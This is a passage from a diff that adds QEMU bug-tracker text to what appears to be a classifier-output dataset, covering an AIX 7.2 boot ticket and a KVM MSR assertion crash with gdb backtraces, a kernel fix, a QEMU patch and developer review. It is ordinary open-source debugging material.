a crash when we try to hotplug a CPU in memory-less and + CPU-less numa node. In this case, the kernel tries to online the + node, but without the information provided by this h-call, the node id, + it cannot and the CPU is started while the node is not onlined. + + It also removes the warning message from the kernel: + VPHN is not supported. Disabling polling.. + + Signed-off-by: Laurent Vivier <email address hidden> + Reviewed-by: Greg Kurz <email address hidden> + Signed-off-by: David Gibson <email address hidden> + +:040000 040000 97fe7c5db103c5426f25f2741db918e8cbc03b75 ed55cf6abd483aa01974c18d613461cc9e80e2c3 M hw +:040000 040000 4d51166be64bc71a72bd60eaa412aadc2117fc4c 614be9f9c87d20f7a2c23921a37d771a8956ee7c M include + + +For info : + +I tried Removing the SPAPR H_HOME_NODE_ASSOCIATIVITY H-call support (Not saying it shouldn't be implemented for CPU hotplug support) and AIX 7.2 boots again. with the latest QEMU (as of 8c1ecb590497b0349c550607db923972b37f6963 - git pulled 2019/05/29 @ around 06H30 GMT) + +There must be a very subtle error in how this H-Call works that is bothering AIX... (My setup is single node) + +--Ivan + +I tried removing the H_HOME_NODE_ASSOCIATIVITY H-call from QEMU 4.2.0 and git 5.0.50v5.0.0-997-g9e7f1469b9-dirty, but AIX 7.2 TL4 SP1 still won't boot for me. The last version of QEMU I got it to boot up completely in was 2.11.2 (the version I was able to install AIX). + +ERROR:/home/kens/tmp/qemu/cpus.c:1735:qemu_tcg_cpu_thread_fn: assertion failed: (cpu->halted) + +If I disable SMP (single CPU) and switch to POWER7, it boots until IPL progress code 00c9/00c0 (dump) then it reboots. I had POWER9 SMP = 8 working with 2.11.2. + +I'm no longer working at IBM. + + +The QEMU project is currently moving its bug tracking to another system. +For this we need to know which bugs are still valid and which could be +closed already. Thus we are setting the bug state to "Incomplete" now. + +If the bug has already been fixed in the latest upstream version of QEMU, +then please close this ticket as "Fix released". + +If it is not fixed yet and you think that this bug report here is still +valid, then you have two options: + +1) If you already have an account on gitlab.com, please open a new ticket +for this problem in our new tracker here: + + https://gitlab.com/qemu-project/qemu/-/issues + +and then close this ticket here on Launchpad (or let it expire auto- +matically after 60 days). Please mention the URL of this bug ticket on +Launchpad in the new ticket on GitLab. + +2) If you don't have an account on gitlab.com and don't intend to get +one, but still would like to keep this ticket opened, then please switch +the state back to "New" or "Confirmed" within the next 60 days (other- +wise it will get closed as "Expired"). We will then eventually migrate +the ticket automatically to the new system (but you won't be the reporter +of the bug in the new system and thus you won't get notified on changes +anymore). + +Thank you and sorry for the inconvenience. + + +We already have a different ticket to track the AIX 7.2 issue here: + https://gitlab.com/qemu-project/qemu/-/issues/269 +Please continue with the discussion there instead, thanks! + diff --git a/results/classifier/deepseek-1/output/configurations./1896263 b/results/classifier/deepseek-1/output/configurations./1896263 new file mode 100644 index 00000000..9442bc4e --- /dev/null +++ b/results/classifier/deepseek-1/output/configurations./1896263 @@ -0,0 +1,586 @@ + +The bios-tables-test test causes QEMU to crash (Assertion `ret == cpu->kvm_msr_buf->nmsrs' failed) on AMD processors + +QEMU release version: Any recent version (5.0.0, 5.1.0, git master) +Host CPU: AMD Ryzen 3900X + +The following backtrace is from commit e883b492c221241d28aaa322c61536436090538a. + +QTEST_QEMU_BINARY=./build/qemu-system-x86_64 gdb ./build/tests/qtest/bios-tables-test +GNU gdb (GDB) 9.2 +Copyright (C) 2020 Free Software Foundation, Inc. +License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> +This is free software: you are free to change and redistribute it. +There is NO WARRANTY, to the extent permitted by law. +Type "show copying" and "show warranty" for details. +This GDB was configured as "x86_64-unknown-linux-gnu". +Type "show configuration" for configuration details. +For bug reporting instructions, please see: +<http://www.gnu.org/software/gdb/bugs/>. +Find the GDB manual and other documentation resources online at: + <http://www.gnu.org/software/gdb/documentation/>. + +For help, type "help". +Type "apropos word" to search for commands related to "word"... +Reading symbols from ./build/tests/qtest/bios-tables-test... +(gdb) run +Starting program: /home/mcournoyer/src/qemu/build/tests/qtest/bios-tables-test +[Thread debugging using libthread_db enabled] +Using host libthread_db library "/gnu/store/fa6wj5bxkj5ll1d7292a70knmyl7a0cr-glibc-2.31/lib/libthread_db.so.1". +[New Thread 0x7ffff7af6700 (LWP 18955)] +# random seed: R02S5106b7afa2fd84a0353605795c04ab7d +1..19 +# Start of x86_64 tests +# Start of acpi tests +# starting QEMU: exec ./build/qemu-system-x86_64 -qtest unix:/tmp/qtest-18951.sock -qtest-log /dev/null -chardev socket,path=/tmp/qtest-18951.qmp,id=char0 -mon chardev=char0,mode=control -display none -machine pc,kernel-irqchip=off -accel kvm -accel tcg -net none -display none -drive id=hd0,if=none,file=tests/acpi-test-disk-R3kbyc,format=raw -device ide-hd,drive=hd0 -accel qtest +[Attaching after Thread 0x7ffff7af7900 (LWP 18951) fork to child process 18956] +[New inferior 2 (process 18956)] +[Detaching after fork from parent process 18951] +[Inferior 1 (process 18951) detached] +[Thread debugging using libthread_db enabled] +Using host libthread_db library "/gnu/store/fa6wj5bxkj5ll1d7292a70knmyl7a0cr-glibc-2.31/lib/libthread_db.so.1". +[New Thread 0x7ffff7af6700 (LWP 18957)] +[Thread 0x7ffff7af6700 (LWP 18957) exited] +process 18956 is executing new program: /gnu/store/87kif0bpf0anwbsaw0jvg8fyciw4sz67-bash-5.0.16/bin/bash +process 18956 is executing new program: /home/mcournoyer/src/qemu/build/qemu-system-x86_64 +[Thread debugging using libthread_db enabled] +Using host libthread_db library "/gnu/store/fa6wj5bxkj5ll1d7292a70knmyl7a0cr-glibc-2.31/lib/libthread_db.so.1". +[New Thread 0x7ffff48ed700 (LWP 18958)] +[New Thread 0x7fffeffff700 (LWP 18960)] +[New Thread 0x7fffef61c700 (LWP 18961)] +[New Thread 0x7fffed5ff700 (LWP 18962)] +qemu-system-x86_64: error: failed to set MSR 0x4b564d02 to 0x0 +qemu-system-x86_64: ../target/i386/kvm.c:2714: kvm_buf_set_msrs: Assertion `ret == cpu->kvm_msr_buf->nmsrs' failed. + +Thread 2.5 "qemu-system-x86" received signal SIGABRT, Aborted. +[Switching to Thread 0x7fffef61c700 (LWP 18961)] +0x00007ffff65dbaba in raise () from /gnu/store/fa6wj5bxkj5ll1d7292a70knmyl7a0cr-glibc-2.31/lib/libc.so.6 +(gdb) taas bt + +Thread 2.6 (Thread 0x7fffed5ff700 (LWP 18962)): +#0 0x00007ffff6770c4d in pthread_cond_timedwait@@GLIBC_2.3.2 () from /gnu/store/fa6wj5bxkj5ll1d7292a70knmyl7a0cr-glibc-2.31/lib/libpthread.so.0 +#1 0x0000555555cc8a0e in qemu_sem_timedwait (sem=sem@entry=0x55555662f758, ms=ms@entry=10000) at ../util/qemu-thread-posix.c:282 +#2 0x0000555555cd91b5 in worker_thread (opaque=opaque@entry=0x55555662f6e0) at ../util/thread-pool.c:91 +#3 0x0000555555cc7e86 in qemu_thread_start (args=<optimized out>) at ../util/qemu-thread-posix.c:521 +#4 0x00007ffff6769f64 in start_thread () from /gnu/store/fa6wj5bxkj5ll1d7292a70knmyl7a0cr-glibc-2.31/lib/libpthread.so.0 +#5 0x00007ffff669b9af in clone () from /gnu/store/fa6wj5bxkj5ll1d7292a70knmyl7a0cr-glibc-2.31/lib/libc.so.6 + +Thread 2.5 (Thread 0x7fffef61c700 (LWP 18961)): +#0 0x00007ffff65dbaba in raise () from /gnu/store/fa6wj5bxkj5ll1d7292a70knmyl7a0cr-glibc-2.31/lib/libc.so.6 +#1 0x00007ffff65dcbf5 in abort () from /gnu/store/fa6wj5bxkj5ll1d7292a70knmyl7a0cr-glibc-2.31/lib/libc.so.6 +#2 0x00007ffff65d470a in __assert_fail_base () from /gnu/store/fa6wj5bxkj5ll1d7292a70knmyl7a0cr-glibc-2.31/lib/libc.so.6 +#3 0x00007ffff65d4782 in __assert_fail () from /gnu/store/fa6wj5bxkj5ll1d7292a70knmyl7a0cr-glibc-2.31/lib/libc.so.6 +#4 0x0000555555a3e979 in kvm_buf_set_msrs (cpu=0x555556688a20) at ../target/i386/kvm.c:2714 +#5 0x0000555555a438cc in kvm_put_msrs (level=3, cpu=0x555556688a20) at ../target/i386/kvm.c:3005 +#6 kvm_arch_put_registers (cpu=cpu@entry=0x555556688a20, level=level@entry=3) at ../target/i386/kvm.c:3989 +#7 0x0000555555af7b0e in do_kvm_cpu_synchronize_post_init (cpu=0x555556688a20, arg=...) at ../accel/kvm/kvm-all.c:2355 +#8 0x00005555558ef8e2 in process_queued_cpu_work (cpu=cpu@entry=0x555556688a20) at ../cpus-common.c:343 +#9 0x0000555555b6ac25 in qemu_wait_io_event_common (cpu=cpu@entry=0x555556688a20) at ../softmmu/cpus.c:1117 +#10 0x0000555555b6ac84 in qemu_wait_io_event (cpu=cpu@entry=0x555556688a20) at ../softmmu/cpus.c:1157 +#11 0x0000555555b6aec8 in qemu_kvm_cpu_thread_fn (arg=arg@entry=0x555556688a20) at ../softmmu/cpus.c:1193 +#12 0x0000555555cc7e86 in qemu_thread_start (args=<optimized out>) at ../util/qemu-thread-posix.c:521 +#13 0x00007ffff6769f64 in start_thread () from /gnu/store/fa6wj5bxkj5ll1d7292a70knmyl7a0cr-glibc-2.31/lib/libpthread.so.0 +#14 0x00007ffff669b9af in clone () from /gnu/store/fa6wj5bxkj5ll1d7292a70knmyl7a0cr-glibc-2.31/lib/libc.so.6 + +Thread 2.4 (Thread 0x7fffeffff700 (LWP 18960)): +#0 0x00007ffff66919d9 in poll () from /gnu/store/fa6wj5bxkj5ll1d7292a70knmyl7a0cr-glibc-2.31/lib/libc.so.6 +#1 0x00007ffff78f0051 in g_main_context_iterate.isra () from /gnu/store/n1mx1dp0hcrzm1akf8qdqa9gmybzazs2-profile/lib/libglib-2.0.so.0 +#2 0x00007ffff78f0392 in g_main_loop_run () from /gnu/store/n1mx1dp0hcrzm1akf8qdqa9gmybzazs2-profile/lib/libglib-2.0.so.0 +#3 0x000055555584b5a1 in iothread_run (opaque=opaque@entry=0x555556557720) at ../iothread.c:80 +#4 0x0000555555cc7e86 in qemu_thread_start (args=<optimized out>) at ../util/qemu-thread-posix.c:521 +#5 0x00007ffff6769f64 in start_thread () from /gnu/store/fa6wj5bxkj5ll1d7292a70knmyl7a0cr-glibc-2.31/lib/libpthread.so.0 +#6 0x00007ffff669b9af in clone () from /gnu/store/fa6wj5bxkj5ll1d7292a70knmyl7a0cr-glibc-2.31/lib/libc.so.6 + +Thread 2.3 (Thread 0x7ffff48ed700 (LWP 18958)): +#0 0x00007ffff66657a1 in clock_nanosleep@GLIBC_2.2.5 () from /gnu/store/fa6wj5bxkj5ll1d7292a70knmyl7a0cr-glibc-2.31/lib/libc.so.6 +#1 0x00007ffff666ac03 in nanosleep () from /gnu/store/fa6wj5bxkj5ll1d7292a70knmyl7a0cr-glibc-2.31/lib/libc.so.6 +#2 0x00007ffff7919cdf in g_usleep () from /gnu/store/n1mx1dp0hcrzm1akf8qdqa9gmybzazs2-profile/lib/libglib-2.0.so.0 +#3 0x0000555555cb3b04 in call_rcu_thread (opaque=opaque@entry=0x0) at ../util/rcu.c:250 +#4 0x0000555555cc7e86 in qemu_thread_start (args=<optimized out>) at ../util/qemu-thread-posix.c:521 +#5 0x00007ffff6769f64 in start_thread () from /gnu/store/fa6wj5bxkj5ll1d7292a70knmyl7a0cr-glibc-2.31/lib/libpthread.so.0 +#6 0x00007ffff669b9af in clone () from /gnu/store/fa6wj5bxkj5ll1d7292a70knmyl7a0cr-glibc-2.31/lib/libc.so.6 + +Thread 2.1 (Thread 0x7ffff48f2c80 (LWP 18956)): +#0 0x00007ffff677094c in pthread_cond_wait@@GLIBC_2.3.2 () from /gnu/store/fa6wj5bxkj5ll1d7292a70knmyl7a0cr-glibc-2.31/lib/libpthread.so.0 +#1 0x0000555555cc854f in qemu_cond_wait_impl (cond=0x5555563b0020 <qemu_work_cond>, mutex=0x5555563cd620 <qemu_global_mutex>, file=0x555555dbad06 "../cpus-common.c", line=154) at ../util/qemu-thread-posix.c:174 +#2 0x00005555558ef484 in do_run_on_cpu (cpu=cpu@entry=0x555556688a20, func=func@entry=0x555555af7b00 <do_kvm_cpu_synchronize_post_init>, data=..., mutex=mutex@entry=0x5555563cd620 <qemu_global_mutex>) at ../cpus-common.c:154 +#3 0x0000555555b6aa7c in run_on_cpu (cpu=cpu@entry=0x555556688a20, func=func@entry=0x555555af7b00 <do_kvm_cpu_synchronize_post_init>, data=..., data@entry=...) at ../softmmu/cpus.c:1085 +#4 0x0000555555af8d4e in kvm_cpu_synchronize_post_init (cpu=cpu@entry=0x555556688a20) at ../accel/kvm/kvm-all.c:2361 +#5 0x0000555555b6a94a in cpu_synchronize_post_init (cpu=0x555556688a20) at /home/mcournoyer/src/qemu/include/sysemu/hw_accel.h:55 +#6 cpu_synchronize_all_post_init () at ../softmmu/cpus.c:953 +#7 0x0000555555b0dca7 in qemu_init (argc=<optimized out>, argv=<optimized out>, envp=<optimized out>) at ../softmmu/vl.c:4387 +#8 0x0000555555840609 in main (argc=<optimized out>, argv=<optimized out>, envp=<optimized out>) at ../softmmu/main.c:49 + +On Fri, Sep 18, 2020 at 6:18 PM Apteryx <email address hidden> wrote: +> Host CPU: AMD Ryzen 3900X + +I also hit this test failure. + +Host CPU: Intel(R) Core(TM) i7-8665U CPU @ 1.90GHz +Host kernel: Linux 5.8.6-201.fc32.x86_64 + +qemu-system-x86_64: error: failed to set MSR 0x4b564d02 to 0x0 +qemu-system-x86_64: ../target/i386/kvm.c:2714: kvm_buf_set_msrs: +Assertion `ret == cpu->kvm_msr_buf->nmsrs' failed. + + +I've reproduced the problem with HEAD of master, qemu-4.2.0 and qemu-4.0.0. + +I think the problem comes from the the kernel. + +Host CPU: Intel(R) Core(TM) i7-4790 CPU @ 3.60GHz +Host kernel: 5.8.4-200.fc32.x86_64 + + +Le 21/09/2020 à 15:50, Laurent Vivier a écrit : +> I've reproduced the problem with HEAD of master, qemu-4.2.0 and +> qemu-4.0.0. +> +> I think the problem comes from the the kernel. +> + +This is reproducible with vanilla kernel v5.8.0 but fixed in v5.9.0-rc5+. + + +Le 22/09/2020 à 11:05, Laurent Vivier a écrit : +> Le 21/09/2020 à 15:50, Laurent Vivier a écrit : +>> I've reproduced the problem with HEAD of master, qemu-4.2.0 and +>> qemu-4.0.0. +>> +>> I think the problem comes from the the kernel. +>> +> +> This is reproducible with vanilla kernel v5.8.0 but fixed in +> v5.9.0-rc5+. +> + +It seems to be fixed in 5.9 kernel by: + +commit d831de177217cd494bfb99f2c849a0d40c2a7890 +Author: Vitaly Kuznetsov <email address hidden> +Date: Fri Sep 11 11:31:47 2020 +0200 + + KVM: x86: always allow writing '0' to MSR_KVM_ASYNC_PF_EN + + Even without in-kernel LAPIC we should allow writing '0' to + MSR_KVM_ASYNC_PF_EN as we're not enabling the mechanism. In + particular, QEMU with 'kernel-irqchip=off' fails to start + a guest with + + qemu-system-x86_64: error: failed to set MSR 0x4b564d02 to 0x0 + + Fixes: 9d3c447c72fb2 ("KVM: X86: Fix async pf caused null-ptr-deref") + Reported-by: Dr. David Alan Gilbert <email address hidden> + Signed-off-by: Vitaly Kuznetsov <email address hidden> + Message-Id: <email address hidden> + [Actually commit the version proposed by Sean Christopherson. - Paolo] + Signed-off-by: Paolo Bonzini <email address hidden> + + +This addresses the following crash when running Linux v5.8 +with kernel-irqchip=off: + + qemu-system-x86_64: error: failed to set MSR 0x4b564d02 to 0x0 + qemu-system-x86_64: ../target/i386/kvm.c:2714: kvm_buf_set_msrs: Assertion `ret == cpu->kvm_msr_buf->nmsrs' failed. + +There is a kernel-side fix for the issue too (kernel commit +d831de177217 "KVM: x86: always allow writing '0' to +MSR_KVM_ASYNC_PF_EN"), but it's nice to simply not trigger +the bug if running an older kernel. + +Fixes: https://bugs.launchpad.net/bugs/1896263 +Signed-off-by: Eduardo Habkost <email address hidden> +--- + target/i386/kvm.c | 7 ++++++- + 1 file changed, 6 insertions(+), 1 deletion(-) + +diff --git a/target/i386/kvm.c b/target/i386/kvm.c +index 9efb07e7c83..1492f41349f 100644 +--- a/target/i386/kvm.c ++++ b/target/i386/kvm.c +@@ -2818,7 +2818,12 @@ static int kvm_put_msrs(X86CPU *cpu, int level) + kvm_msr_entry_add(cpu, MSR_IA32_TSC, env->tsc); + kvm_msr_entry_add(cpu, MSR_KVM_SYSTEM_TIME, env->system_time_msr); + kvm_msr_entry_add(cpu, MSR_KVM_WALL_CLOCK, env->wall_clock_msr); +- if (env->features[FEAT_KVM] & (1 << KVM_FEATURE_ASYNC_PF)) { ++ /* ++ * Some kernel versions (v5.8) won't let MSR_KVM_ASYNC_PF_EN to be set ++ * at all if kernel-irqchip=off, so don't try to set it in that case. ++ */ ++ if (env->features[FEAT_KVM] & (1 << KVM_FEATURE_ASYNC_PF) && ++ kvm_irqchip_in_kernel()) { + kvm_msr_entry_add(cpu, MSR_KVM_ASYNC_PF_EN, env->async_pf_en_msr); + } + if (env->features[FEAT_KVM] & (1 << KVM_FEATURE_PV_EOI)) { +-- +2.26.2 + + + +Eduardo Habkost <email address hidden> writes: + +> This addresses the following crash when running Linux v5.8 +> with kernel-irqchip=off: +> +> qemu-system-x86_64: error: failed to set MSR 0x4b564d02 to 0x0 +> qemu-system-x86_64: ../target/i386/kvm.c:2714: kvm_buf_set_msrs: Assertion `ret == cpu->kvm_msr_buf->nmsrs' failed. +> +> There is a kernel-side fix for the issue too (kernel commit +> d831de177217 "KVM: x86: always allow writing '0' to +> MSR_KVM_ASYNC_PF_EN"), but it's nice to simply not trigger +> the bug if running an older kernel. +> +> Fixes: https://bugs.launchpad.net/bugs/1896263 +> Signed-off-by: Eduardo Habkost <email address hidden> +> --- +> target/i386/kvm.c | 7 ++++++- +> 1 file changed, 6 insertions(+), 1 deletion(-) +> +> diff --git a/target/i386/kvm.c b/target/i386/kvm.c +> index 9efb07e7c83..1492f41349f 100644 +> --- a/target/i386/kvm.c +> +++ b/target/i386/kvm.c +> @@ -2818,7 +2818,12 @@ static int kvm_put_msrs(X86CPU *cpu, int level) +> kvm_msr_entry_add(cpu, MSR_IA32_TSC, env->tsc); +> kvm_msr_entry_add(cpu, MSR_KVM_SYSTEM_TIME, env->system_time_msr); +> kvm_msr_entry_add(cpu, MSR_KVM_WALL_CLOCK, env->wall_clock_msr); +> - if (env->features[FEAT_KVM] & (1 << KVM_FEATURE_ASYNC_PF)) { +> + /* +> + * Some kernel versions (v5.8) won't let MSR_KVM_ASYNC_PF_EN to be set +> + * at all if kernel-irqchip=off, so don't try to set it in that case. +> + */ +> + if (env->features[FEAT_KVM] & (1 << KVM_FEATURE_ASYNC_PF) && +> + kvm_irqchip_in_kernel()) { +> kvm_msr_entry_add(cpu, MSR_KVM_ASYNC_PF_EN, env->async_pf_en_msr); +> } +> if (env->features[FEAT_KVM] & (1 << KVM_FEATURE_PV_EOI)) { + +I'm not sure kvm_irqchip_in_kernel() was required before we switched to +interrupt-based APF (as we were always injecting #PF) but with +kernel-5.8+ this should work. We'll need to merge this with + +https://lists.nongnu.org/archive/html/qemu-devel/2020-09/msg02963.html +(queued by Paolo) and +https://lists.nongnu.org/archive/html/qemu-devel/2020-09/msg06196.html +which fixes a bug in it. + +as kvm_irqchip_in_kernel() should go around both KVM_FEATURE_ASYNC_PF +and KVM_FEATURE_ASYNC_PF_INT I believe. + +-- +Vitaly + + + +On Tue, Sep 22, 2020 at 05:38:12PM +0200, Vitaly Kuznetsov wrote: +> Eduardo Habkost <email address hidden> writes: +> +> > This addresses the following crash when running Linux v5.8 +> > with kernel-irqchip=off: +> > +> > qemu-system-x86_64: error: failed to set MSR 0x4b564d02 to 0x0 +> > qemu-system-x86_64: ../target/i386/kvm.c:2714: kvm_buf_set_msrs: Assertion `ret == cpu->kvm_msr_buf->nmsrs' failed. +> > +> > There is a kernel-side fix for the issue too (kernel commit +> > d831de177217 "KVM: x86: always allow writing '0' to +> > MSR_KVM_ASYNC_PF_EN"), but it's nice to simply not trigger +> > the bug if running an older kernel. +> > +> > Fixes: https://bugs.launchpad.net/bugs/1896263 +> > Signed-off-by: Eduardo Habkost <email address hidden> +> > --- +> > target/i386/kvm.c | 7 ++++++- +> > 1 file changed, 6 insertions(+), 1 deletion(-) +> > +> > diff --git a/target/i386/kvm.c b/target/i386/kvm.c +> > index 9efb07e7c83..1492f41349f 100644 +> > --- a/target/i386/kvm.c +> > +++ b/target/i386/kvm.c +> > @@ -2818,7 +2818,12 @@ static int kvm_put_msrs(X86CPU *cpu, int level) +> > kvm_msr_entry_add(cpu, MSR_IA32_TSC, env->tsc); +> > kvm_msr_entry_add(cpu, MSR_KVM_SYSTEM_TIME, env->system_time_msr); +> > kvm_msr_entry_add(cpu, MSR_KVM_WALL_CLOCK, env->wall_clock_msr); +> > - if (env->features[FEAT_KVM] & (1 << KVM_FEATURE_ASYNC_PF)) { +> > + /* +> > + * Some kernel versions (v5.8) won't let MSR_KVM_ASYNC_PF_EN to be set +> > + * at all if kernel-irqchip=off, so don't try to set it in that case. +> > + */ +> > + if (env->features[FEAT_KVM] & (1 << KVM_FEATURE_ASYNC_PF) && +> > + kvm_irqchip_in_kernel()) { +> > kvm_msr_entry_add(cpu, MSR_KVM_ASYNC_PF_EN, env->async_pf_en_msr); +> > } +> > if (env->features[FEAT_KVM] & (1 << KVM_FEATURE_PV_EOI)) { +> +> I'm not sure kvm_irqchip_in_kernel() was required before we switched to +> interrupt-based APF (as we were always injecting #PF) but with +> kernel-5.8+ this should work. [...] + +Were guests able to set MSR_KVM_ASYNC_PF_EN to non-zero with +kernel-irqchip=off on hosts running Linux <= 5.7? I am assuming +kvm-asyncpf never worked with kernel-irqchip=off (and enabling it +by default with kernel-irqchip=off was a mistake). + + +> [...] We'll need to merge this with +> +> https://lists.nongnu.org/archive/html/qemu-devel/2020-09/msg02963.html +> (queued by Paolo) and +> https://lists.nongnu.org/archive/html/qemu-devel/2020-09/msg06196.html +> which fixes a bug in it. +> +> as kvm_irqchip_in_kernel() should go around both KVM_FEATURE_ASYNC_PF +> and KVM_FEATURE_ASYNC_PF_INT I believe. + +Shouldn't we just disallow kvm-asyncpf-int=on if kernel-irqchip=off? + +-- +Eduardo + + + +Eduardo Habkost <email address hidden> writes: + +> On Tue, Sep 22, 2020 at 05:38:12PM +0200, Vitaly Kuznetsov wrote: +>> Eduardo Habkost <email address hidden> writes: +>> +>> > This addresses the following crash when running Linux v5.8 +>> > with kernel-irqchip=off: +>> > +>> > qemu-system-x86_64: error: failed to set MSR 0x4b564d02 to 0x0 +>> > qemu-system-x86_64: ../target/i386/kvm.c:2714: kvm_buf_set_msrs: Assertion `ret == cpu->kvm_msr_buf->nmsrs' failed. +>> > +>> > There is a kernel-side fix for the issue too (kernel commit +>> > d831de177217 "KVM: x86: always allow writing '0' to +>> > MSR_KVM_ASYNC_PF_EN"), but it's nice to simply not trigger +>> > the bug if running an older kernel. +>> > +>> > Fixes: https://bugs.launchpad.net/bugs/1896263 +>> > Signed-off-by: Eduardo Habkost <email address hidden> +>> > --- +>> > target/i386/kvm.c | 7 ++++++- +>> > 1 file changed, 6 insertions(+), 1 deletion(-) +>> > +>> > diff --git a/target/i386/kvm.c b/target/i386/kvm.c +>> > index 9efb07e7c83..1492f41349f 100644 +>> > --- a/target/i386/kvm.c +>> > +++ b/target/i386/kvm.c +>> > @@ -2818,7 +2818,12 @@ static int kvm_put_msrs(X86CPU *cpu, int level) +>> > kvm_msr_entry_add(cpu, MSR_IA32_TSC, env->tsc); +>> > kvm_msr_entry_add(cpu, MSR_KVM_SYSTEM_TIME, env->system_time_msr); +>> > kvm_msr_entry_add(cpu, MSR_KVM_WALL_CLOCK, env->wall_clock_msr); +>> > - if (env->features[FEAT_KVM] & (1 << KVM_FEATURE_ASYNC_PF)) { +>> > + /* +>> > + * Some kernel versions (v5.8) won't let MSR_KVM_ASYNC_PF_EN to be set +>> > + * at all if kernel-irqchip=off, so don't try to set it in that case. +>> > + */ +>> > + if (env->features[FEAT_KVM] & (1 << KVM_FEATURE_ASYNC_PF) && +>> > + kvm_irqchip_in_kernel()) { +>> > kvm_msr_entry_add(cpu, MSR_KVM_ASYNC_PF_EN, env->async_pf_en_msr); +>> > } +>> > if (env->features[FEAT_KVM] & (1 << KVM_FEATURE_PV_EOI)) { +>> +>> I'm not sure kvm_irqchip_in_kernel() was required before we switched to +>> interrupt-based APF (as we were always injecting #PF) but with +>> kernel-5.8+ this should work. [...] +> +> Were guests able to set MSR_KVM_ASYNC_PF_EN to non-zero with +> kernel-irqchip=off on hosts running Linux <= 5.7? + +lapic_in_kernel() check appeared in kernel with the following commit: + +commit 9d3c447c72fb2337ca39f245c6ae89f2369de216 +Author: Wanpeng Li <email address hidden> +Date: Mon Jun 29 18:26:31 2020 +0800 + + KVM: X86: Fix async pf caused null-ptr-deref + +which was post-interrupt-based-APF. I *think* it was OK to enable APF +with !lapic_in_kernel() before (at least I don't see what would not +allow that). + +> I am assuming +> kvm-asyncpf never worked with kernel-irqchip=off (and enabling it +> by default with kernel-irqchip=off was a mistake). +> +> +>> [...] We'll need to merge this with +>> +>> https://lists.nongnu.org/archive/html/qemu-devel/2020-09/msg02963.html +>> (queued by Paolo) and +>> https://lists.nongnu.org/archive/html/qemu-devel/2020-09/msg06196.html +>> which fixes a bug in it. +>> +>> as kvm_irqchip_in_kernel() should go around both KVM_FEATURE_ASYNC_PF +>> and KVM_FEATURE_ASYNC_PF_INT I believe. +> +> Shouldn't we just disallow kvm-asyncpf-int=on if kernel-irqchip=off? + +(Sarcasm: if disallowing 'kernel-irqchip=off' is not an option, then) +yes, we probably can, but kvm-asyncpf-int=on is the default we have so +we can't just implicitly change it underneath or migration will break... + +-- +Vitaly + + + +On Tue, Sep 22, 2020 at 06:42:17PM +0200, Vitaly Kuznetsov wrote: +> Eduardo Habkost <email address hidden> writes: +> +> > On Tue, Sep 22, 2020 at 05:38:12PM +0200, Vitaly Kuznetsov wrote: +> >> Eduardo Habkost <email address hidden> writes: +> >> +> >> > This addresses the following crash when running Linux v5.8 +> >> > with kernel-irqchip=off: +> >> > +> >> > qemu-system-x86_64: error: failed to set MSR 0x4b564d02 to 0x0 +> >> > qemu-system-x86_64: ../target/i386/kvm.c:2714: kvm_buf_set_msrs: Assertion `ret == cpu->kvm_msr_buf->nmsrs' failed. +> >> > +> >> > There is a kernel-side fix for the issue too (kernel commit +> >> > d831de177217 "KVM: x86: always allow writing '0' to +> >> > MSR_KVM_ASYNC_PF_EN"), but it's nice to simply not trigger +> >> > the bug if running an older kernel. +> >> > +> >> > Fixes: https://bugs.launchpad.net/bugs/1896263 +> >> > Signed-off-by: Eduardo Habkost <email address hidden> +> >> > --- +> >> > target/i386/kvm.c | 7 ++++++- +> >> > 1 file changed, 6 insertions(+), 1 deletion(-) +> >> > +> >> > diff --git a/target/i386/kvm.c b/target/i386/kvm.c +> >> > index 9efb07e7c83..1492f41349f 100644 +> >> > --- a/target/i386/kvm.c +> >> > +++ b/target/i386/kvm.c +> >> > @@ -2818,7 +2818,12 @@ static int kvm_put_msrs(X86CPU *cpu, int level) +> >> > kvm_msr_entry_add(cpu, MSR_IA32_TSC, env->tsc); +> >> > kvm_msr_entry_add(cpu, MSR_KVM_SYSTEM_TIME, env->system_time_msr); +> >> > kvm_msr_entry_add(cpu, MSR_KVM_WALL_CLOCK, env->wall_clock_msr); +> >> > - if (env->features[FEAT_KVM] & (1 << KVM_FEATURE_ASYNC_PF)) { +> >> > + /* +> >> > + * Some kernel versions (v5.8) won't let MSR_KVM_ASYNC_PF_EN to be set +> >> > + * at all if kernel-irqchip=off, so don't try to set it in that case. +> >> > + */ +> >> > + if (env->features[FEAT_KVM] & (1 << KVM_FEATURE_ASYNC_PF) && +> >> > + kvm_irqchip_in_kernel()) { +> >> > kvm_msr_entry_add(cpu, MSR_KVM_ASYNC_PF_EN, env->async_pf_en_msr); +> >> > } +> >> > if (env->features[FEAT_KVM] & (1 << KVM_FEATURE_PV_EOI)) { +> >> +> >> I'm not sure kvm_irqchip_in_kernel() was required before we switched to +> >> interrupt-based APF (as we were always injecting #PF) but with +> >> kernel-5.8+ this should work. [...] +> > +> > Were guests able to set MSR_KVM_ASYNC_PF_EN to non-zero with +> > kernel-irqchip=off on hosts running Linux <= 5.7? +> +> lapic_in_kernel() check appeared in kernel with the following commit: +> +> commit 9d3c447c72fb2337ca39f245c6ae89f2369de216 +> Author: Wanpeng Li <email address hidden> +> Date: Mon Jun 29 18:26:31 2020 +0800 +> +> KVM: X86: Fix async pf caused null-ptr-deref +> +> which was post-interrupt-based-APF. I *think* it was OK to enable APF +> with !lapic_in_kernel() before (at least I don't see what would not +> allow that). + +If it was possible, did KVM break live migration of +kernel-irqchip=off guests that enabled APF? This would mean my +patch is replacing a crash with a silent migration bug. Not nice +either way. + +> +> > I am assuming +> > kvm-asyncpf never worked with kernel-irqchip=off (and enabling it +> > by default with kernel-irqchip=off was a mistake). +> > +> > +> >> [...] We'll need to merge this with +> >> +> >> https://lists.nongnu.org/archive/html/qemu-devel/2020-09/msg02963.html +> >> (queued by Paolo) and +> >> https://lists.nongnu.org/archive/html/qemu-devel/2020-09/msg06196.html +> >> which fixes a bug in it. +> >> +> >> as kvm_irqchip_in_kernel() should go around both KVM_FEATURE_ASYNC_PF +> >> and KVM_FEATURE_ASYNC_PF_INT I believe. +> > +> > Shouldn't we just disallow kvm-asyncpf-int=on if kernel-irqchip=off? +> +> (Sarcasm: if disallowing 'kernel-irqchip=off' is not an option, then) + +I'm working on it. :-) + +> yes, we probably can, but kvm-asyncpf-int=on is the default we have so +> we can't just implicitly change it underneath or migration will break... + +kvm-asyncpf-int wasn't merged yet, was it? This means we don't +have compatibility issues to care about. + +-- +Eduardo + + + +On Tue, Sep 22, 2020 at 07:26:42PM +0200, Paolo Bonzini wrote: +> On 22/09/20 